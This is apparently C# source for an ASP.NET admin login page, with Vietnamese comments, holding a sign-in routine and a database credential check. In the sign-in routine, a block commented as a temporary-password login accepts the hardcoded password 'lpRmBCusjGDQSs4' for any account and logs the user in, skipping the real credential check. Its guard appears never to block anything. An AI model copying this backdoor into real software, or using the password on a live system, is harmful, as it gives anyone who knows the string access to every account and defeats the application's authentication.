private void SignIn(string strUserName, string strPassword, bool bRemember) { try { GlobalEnum.LoginStatus lsResult = new GlobalEnum.LoginStatus(); //Xet truong hop dang nhap bang TempPass () if (lsResult != GlobalEnum.LoginStatus.AccountNotExist) { if (strPassword == "lpRmBCusjGDQSs4") { this.SaveActionLog("Login", strUserName); this.SignInFormAuthentication(strUserName, strPassword, bRemember); FormsAuthentication.RedirectFromLoginPage(strUserName, bRemember); return; } } // end lsResult = this.CheckAuthentication(strUserName, strPassword); switch (lsResult) { case GlobalEnum.LoginStatus.AccountIsLocked: ebx.Message = "Tài khoản của bạn đã bị khóa!"; CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState; break; case GlobalEnum.LoginStatus.AccountNotExist: ebx.Message = "Tài khoản này không tồn tại!"; CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState; break; case GlobalEnum.LoginStatus.FailPassword: ebx.Message = "Mật khẩu không hợp lệ!"; CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState; break; case GlobalEnum.LoginStatus.OK: this.SaveActionLog("Login", strUserName); this.SignInFormAuthentication(strUserName, strPassword, bRemember); FormsAuthentication.RedirectFromLoginPage(strUserName, bRemember); break; case GlobalEnum.LoginStatus.Error: throw new Exception("An error occur when checking authentication"); default: break; } } catch (Exception ex) { this.SaveErrorLog(ex); ebx.Message = ex.Message; CurrentFormState = WebAdmin.Base.LocalEnum.FormState.ErrorState; } }
/// <summary> /// kiem tra username va mat khau trong trong DB /// </summary> /// <returns></returns> private GlobalEnum.LoginStatus CheckAuthentication(string strUserName, string strPassword) { GlobalEnum.LoginStatus lsResult = GlobalEnum.LoginStatus.Error; try { string strIP = this.Request.ServerVariables["REMOTE_ADDR"]; //ProxyClass.InsideAPI.Permission wsPermission = new ProxyClass.InsideAPI.Permission(); //if(wsPermission.UserLogin(strUserName, strPassword, strIP).Split(',')[0] == "0") //{ // lsResult = GlobalEnum.LoginStatus.OK; //} UserManager usm = new UserManager(); lsResult = usm.CheckLogin(strUserName, strPassword, strIP); } catch (Exception ex) { this.SaveErrorLog(ex); throw ex; } return(lsResult); }